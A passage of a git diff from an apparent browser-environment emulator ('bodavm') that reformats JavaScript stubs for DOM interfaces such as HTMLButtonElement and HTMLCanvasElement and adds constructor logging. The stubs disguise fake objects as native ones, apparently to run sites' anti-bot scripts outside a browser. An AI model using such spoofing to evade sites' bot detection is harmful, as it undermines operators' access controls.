"HTMLBodyElement", "onhashchange_get", arguments); + }, + set: function onhashchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onlanguagechange", { + configurable: true, + enumerable: true, + get: function onlanguagechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_get", arguments); + }, + set: function onlanguagechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onlanguagechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onoffline", { + configurable: true, + enumerable: true, + get: function onoffline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_get", arguments); + }, + set: function onoffline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onoffline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "ononline", { + configurable: true, + enumerable: true, + get: function ononline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_get", arguments); + }, + set: function ononline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "ononline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpagehide", { + configurable: true, + enumerable: true, + get: function onpagehide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_get", arguments); + }, + set: function onpagehide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpagehide_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpageshow", { + configurable: true, + enumerable: true, + get: function onpageshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_get", arguments); + }, + set: function onpageshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpageshow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onpopstate", { + configurable: true, + enumerable: true, + get: function onpopstate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_get", arguments); + }, + set: function onpopstate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onpopstate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onrejectionhandled", { + configurable: true, + enumerable: true, + get: function onrejectionhandled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_get", arguments); + }, + set: function onrejectionhandled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onrejectionhandled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onstorage", { + configurable: true, + enumerable: true, + get: function onstorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_get", arguments); + }, + set: function onstorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onstorage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunhandledrejection", { + configurable: true, + enumerable: true, + get: function onunhandledrejection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_get", arguments); + }, + set: function onunhandledrejection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunhandledrejection_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onunload", { + configurable: true, + enumerable: true, + get: function onunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_get", arguments); + }, + set: function onunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onunload_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLButtonElement.js b/env_xbb_lastest_jsdom/env/HTMLButtonElement.js index ca35781f..5bea47cd 100644 --- a/env_xbb_lastest_jsdom/env/HTMLButtonElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLButtonElement.js @@ -1,22 +1,173 @@ -// HTMLButtonElement对象 -bodavm.memory.globalobj['HTMLButtonElement'] = function HTMLButtonElement(){if (!(this instanceof HTMLButtonElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLButtonElement'], "HTMLButtonElement"); -bodavm.memory.globalobj['HTMLButtonElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLButtonElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formAction", {configurable:true, enumerable:true, get:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_get", arguments)}, set:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formEnctype", {configurable:true, enumerable:true, get:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_get", arguments)}, set:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formMethod", {configurable:true, enumerable:true, get:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_get", arguments)}, set:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formNoValidate", {configurable:true, enumerable:true, get:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_get", arguments)}, set:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formTarget", {configurable:true, enumerable:true, get:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_get", arguments)}, set:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLButtonElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "setCustomValidity", arguments)}},'prototype'); +// HTMLButtonElement对象 + +bodavm.memory.globalobj['HTMLButtonElement'] = function HTMLButtonElement() { + console.log_copy('HTMLButtonElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLButtonElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLButtonElement'], "HTMLButtonElement"); +bodavm.memory.globalobj['HTMLButtonElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLButtonElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formAction", { + configurable: true, + enumerable: true, + get: function formAction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_get", arguments); + }, + set: function formAction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formAction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formEnctype", { + configurable: true, + enumerable: true, + get: function formEnctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_get", arguments); + }, + set: function formEnctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formEnctype_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formMethod", { + configurable: true, + enumerable: true, + get: function formMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_get", arguments); + }, + set: function formMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formMethod_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formNoValidate", { + configurable: true, + enumerable: true, + get: function formNoValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_get", arguments); + }, + set: function formNoValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formNoValidate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "formTarget", { + configurable: true, + enumerable: true, + get: function formTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_get", arguments); + }, + set: function formTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "formTarget_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLButtonElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLButtonElement'].prototype, "HTMLButtonElement", "setCustomValidity", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLCanvasElement.js b/env_xbb_lastest_jsdom/env/HTMLCanvasElement.js index 0f0ea651..d9652bca 100644 --- a/env_xbb_lastest_jsdom/env/HTMLCanvasElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLCanvasElement.js @@ -1,12 +1,79 @@ -// HTMLCanvasElement对象 -bodavm.memory.globalobj['HTMLCanvasElement'] = function HTMLCanvasElement(){if (!(this instanceof HTMLCanvasElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCanvasElement'], "HTMLCanvasElement"); -bodavm.memory.globalobj['HTMLCanvasElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLCanvasElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "captureStream", {configurable:true, enumerable:true, writable:true, value:function captureStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "captureStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "getContext", {configurable:true, enumerable:true, writable:true, value:function getContext (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "getContext", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toBlob", {configurable:true, enumerable:true, writable:true, value:function toBlob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toBlob", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toDataURL", {configurable:true, enumerable:true, writable:true, value:function toDataURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toDataURL", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "transferControlToOffscreen", {configurable:true, enumerable:true, writable:true, value:function transferControlToOffscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "transferControlToOffscreen", arguments)}},'prototype'); +// HTMLCanvasElement对象 + +bodavm.memory.globalobj['HTMLCanvasElement'] = function HTMLCanvasElement() { + console.log_copy('HTMLCanvasElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLCanvasElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCanvasElement'], "HTMLCanvasElement"); +bodavm.memory.globalobj['HTMLCanvasElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLCanvasElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "captureStream", { + configurable: true, + enumerable: true, + writable: true, + value: function captureStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "captureStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "getContext", { + configurable: true, + enumerable: true, + writable: true, + value: function getContext() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "getContext", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toBlob", { + configurable: true, + enumerable: true, + writable: true, + value: function toBlob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toBlob", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "toDataURL", { + configurable: true, + enumerable: true, + writable: true, + value: function toDataURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "toDataURL", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCanvasElement', "transferControlToOffscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function transferControlToOffscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCanvasElement'].prototype, "HTMLCanvasElement", "transferControlToOffscreen", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLCollection.js b/env_xbb_lastest_jsdom/env/HTMLCollection.js index 0e130cfa..468d22cb 100644 --- a/env_xbb_lastest_jsdom/env/HTMLCollection.js +++ b/env_xbb_lastest_jsdom/env/HTMLCollection.js @@ -1,6 +1,41 @@ -// HTMLCollection对象 -bodavm.memory.globalobj['HTMLCollection'] = function HTMLCollection(){if (!(this instanceof HTMLCollection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCollection'], "HTMLCollection"); -bodavm.toolsFunc.defineProperty('HTMLCollection', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCollection', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLCollection', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "namedItem", arguments)}},'prototype'); +// HTMLCollection对象 + +bodavm.memory.globalobj['HTMLCollection'] = function HTMLCollection() { + console.log_copy('HTMLCollection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLCollection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCollection'], "HTMLCollection"); +bodavm.toolsFunc.defineProperty('HTMLCollection', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCollection', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCollection', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "namedItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLDListElement.js b/env_xbb_lastest_jsdom/env/HTMLDListElement.js index bbbfef8f..553103b8 100644 --- a/env_xbb_lastest_jsdom/env/HTMLDListElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLDListElement.js @@ -1,6 +1,29 @@ -// HTMLDListElement对象 -bodavm.memory.globalobj['HTMLDListElement'] = function HTMLDListElement(){if (!(this instanceof HTMLDListElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} 